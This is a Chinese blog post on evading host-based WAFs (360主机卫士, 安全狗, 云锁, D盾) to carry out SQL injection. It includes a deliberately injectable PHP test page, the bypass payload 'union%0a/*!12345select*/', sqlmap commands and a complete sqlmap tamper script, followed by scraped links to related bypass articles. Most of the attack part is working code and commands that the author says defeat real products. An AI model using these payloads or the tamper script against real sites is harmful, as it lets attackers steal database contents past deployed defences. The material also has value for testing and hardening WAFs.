0x01 前言

  在测试过程中,经常会遇到一些主机防护软件,对这方面做了一些尝试,可成功bypass了GET和POST的注入防御,分享一下姿势。

0x02 环境搭建

Windows Server 2003+phpStudy

sql注入点测试代码:

sql.php

<?php
$con = mysql_connect("localhost","root","root");
if (!$con){die('Could not connect: ' . mysql_error());}
mysql_select_db("test", $con);
$id = $_REQUEST[ 'id' ];
$query  = "SELECT * FROM admin WHERE username = $id ";
$result = mysql_query($query);
while($row = mysql_fetch_array($result)){echo $row['0'] . " " . $row['1'];echo "<br />";}
echo "<br/>";
echo $query;
mysql_close($con);
?>

运行效果:

0x03 Bypass 过程

  对不同waf做了一些尝试,关于SQL注入bypass,可以考虑划分为3种:

    1、完全bypass(union select+select from)

    2、部分bypass(union select 或select from)

    3、获取一些敏感信息(如version()、database()等)

A、Union+select

先考虑如何绕过union+select,可以考虑一下几种形式

    1、最常见形式 %20、+、/**/

    2、Mysql中可以利用的空白字符有:%09,%0a,%0b,%0c,%0d,%20,%a0

    3、内联注释   /!12345select/

通过组合测试,可以发现 union%0a/*!12345select*/ 1,2 可以绕过防御。

B、select+from

  select+from 也可以通过同样的组合形式绕过防御。

  至此已完全绕过union+select+from。

0x04 自动化注入

编写tamper bypass脚本,来利用sqlmap来跑数据

先看一下原始sqlmap的效果:

sqlmap.py -u  http://192.168.106.130/config/sql.php?id=1  --flush-session --dbs   失败

加载tamper脚本,可成功获取数据。

sqlmap.py -u http://192.168.106.130/config/sql.php?id=1 --flush-session  --technique=U --tamper="360safe.py" --dbs

tamper脚本:

#!/usr/bin/env python"""
write by Aaron
"""
from lib.core.enums import PRIORITY
from lib.core.settings import UNICODE_ENCODING
__priority__ = PRIORITY.LOW
def dependencies():pass
def tamper(payload, **kwargs):"""
    Replaces keywords>>> tamper('UNION SELECT id FROM users')'union%0a/*!12345select*/id%0a/*!12345from*/users'"""
    if payload:payload=payload.replace(" ALL SELECT ","%0a/*!12345select*/")payload=payload.replace("UNION SELECT","union%0a/*!12345select*/")payload=payload.replace(" FROM ","%0a/*!12345from*/")payload=payload.replace("CONCAT","CONCAT%23%0a")payload=payload.replace("CASE ","CASE%23%0a")payload=payload.replace("CAST(","/*!12345CASt(*/")payload=payload.replace("DATABASE()","database%0a()")return payload

这边主要是针对union select查询进行的关键字替换,测试过程中,可以发现利用tamper脚本来bypass的弊端,sqlmap的部分payload是固定的,部分关键字会被waf拦截,需要一步步调试,总结,测试哪些关键字是被拦截的,如何绕过关键字的检测等,还是挺麻烦。

0x05 END

  最好的自动化注入工具:可以考虑自己编写一个自动化注入工具,灵活的自定义payload来获取数据库信息。

  目前的测试成果,可成功bypass注入防御,如 安全狗、云锁、360主机卫士、D盾_IIS防火墙等主机防护软件及各种云waf,有些姿势都在用。

  关于我:一个网络安全爱好者,致力于分享原创高质量干货,欢迎关注我的个人微信公众号:Bypass--,浏览更多精彩文章。

Bypass 360主机卫士SQL注入防御(附tamper脚本)相关推荐

  1. 360网站卫士SQL注入绕过案例一个

    不要以为用了360就可以高枕无忧,直接在netcraft的site_report中找到源站服务器IP,直接SQL脱裤,甚至可获取服务器权限. 存在漏洞的网站: 手工测试存在注入点: 但是网站有360保 ...

  2. bypass最新版d盾mysql_Bypass 护卫神SQL注入防御(多姿势)

    0x00 前言 ​ 护卫神一直专注服务器安全领域, 其中有一款产品,护卫神·入侵防护系统 ,提供了一些网站安全防护的功能,在IIS加固模块中有一个SQL防注入功能. 这边主要分享一下几种思路,Bypa ...

  3. bypass最新版d盾mysql_Bypass D盾_IIS防火墙SQL注入防御(多姿势)

    0X01 前言 D盾_IIS防火墙,目前只支持Win2003服务器,前阵子看见官方博客说D盾新版将近期推出,相信功能会更强大,这边分享一下之前的SQL注入防御的测试情况.D盾_IIS防火墙注入防御策略 ...

  4. bypass最新版d盾mysql_Bypass D盾_IIS防火墙SQL注入防御(多姿势) | CN-SEC 中文网

    0X01 前言 D盾_IIS防火墙,目前只支持Win2003服务器,前阵子看见官方博客说D盾新版将近期推出,相信功能会更强大,这边分享一下之前的 a.白名单   b.绕过union select或se ...

  5. 护卫神mysql_hws_Bypass 护卫神SQL注入防御(多姿势)

    0x00 前言 ​ 护卫神一直专注服务器安全领域, 其中有一款产品,护卫神·入侵防护系统 ,提供了一些网站安全防护的功能,在IIS加固模块中有一个SQL防注入功能. 这边主要分享一下几种思路,Bypa ...

  6. 华众6.5虚拟主机管理系统SQL注入漏…

    华众6.5虚拟主机管理系统SQL注入漏洞利用 本篇文章来源于 黑基网-中国最大的网络安全站点 原文链接:http://www.hackbase.com/tech/2012-01-17/65830.ht ...

  7. 使用过滤器解决SQL注入和跨站点脚本编制

    1 SQL注入.盲注 1.1 SQL注入.盲注概述 Web 应用程序通常在后端使用数据库,以与企业数据仓库交互.查询数据库事实上的标准语言是 SQL(各大数据库供应商都有自己的不同版本).Web 应用 ...

  8. linux系统安装文网卫士,360主机卫士 Linux 版本 安装

    主机卫士 Linux 版本 用户使用手册 1.软件安装 1.1 必要环境 1)curl (通过 yum 戒者 apt-get 安装) 服务器版操作系统默认已经安装了 curl,如果没有请自行安装 ce ...

  9. 通达oa php冲突,通达OA某版本系统存在通用SQL注入(附注射技巧)

    最近学习SQL注入 其实是通用的 只是洞主么有核实版本 还存在基于报错的注入 Office Anywhere 2008 网络智能办公系统 mysql+win+php 实例: http://219.13 ...

最新文章

  1. C++ Primer 5th笔记(chap 18 大型程序工具)未命名的命名空间unnamed namespace
  2. node.js学习笔记14—微型社交网站
  3. HTC Desire试玩手记之五(电池出叹号,充电灯不亮)
  4. HttpRequest Java原生代码封装
  5. mysql mgr简介_MySQL Group Replication(MGR)使用简介与注意事项
  6. 现代浏览器工作原理(一)
  7. 我就喜欢不用图片做圆角之山顶角方法
  8. linux major头文件_Linux的字符设备
  9. idea提示不区分大小写,解决方法
  10. Python深度学习:Python数据处理及可视化(读书笔记)
  11. 戴尔服务器硬件查看信息工具omreport
  12. 开始使用Mac OS X——写给Mac新人
  13. 邮件服务器的安全,邮件服务器的安全解决方案
  14. mac系统下查看端口占用问题的解决方案
  15. Swoole入门指南:PHP7安装Swoole详细教程(一) 1
  16. Scale-Equalizing Pyramid Convolution for Object Detection论文阅读
  17. 怎么关闭win10自动更新?我们可以这么做!
  18. 逻辑回归及其python实现
  19. html输入框不显示cookie_【HTML教程】网页制作常见问题解答二
  20. 人人车公布2019年新战略:成立8千万元基金 加大品牌广告投放

热门文章

  1. fzyzojP3618 -- [校内训练-互测20180412]士兵的游戏
  2. 织女星开发板使用RISC-V核驱动GPIO
  3. 【荐读】2019年仍然值得一读的佳作
  4. 知识图谱问答系列文档(一)——思知机器人简介
  5. nx.jaccard_coefficient报错not implemented for directed type
  6. Excel表格中如何快速生成下拉菜单
  7. 如何使用手机连接外接U盘(vivo)
  8. python蟒蛇编程_蟒蛇(Python)——欧美最容易学习的编程语言
  9. TensorFlow Allocation of 1511424000 exceeds 10% of system memory
  10. Macbook pro终端中文乱码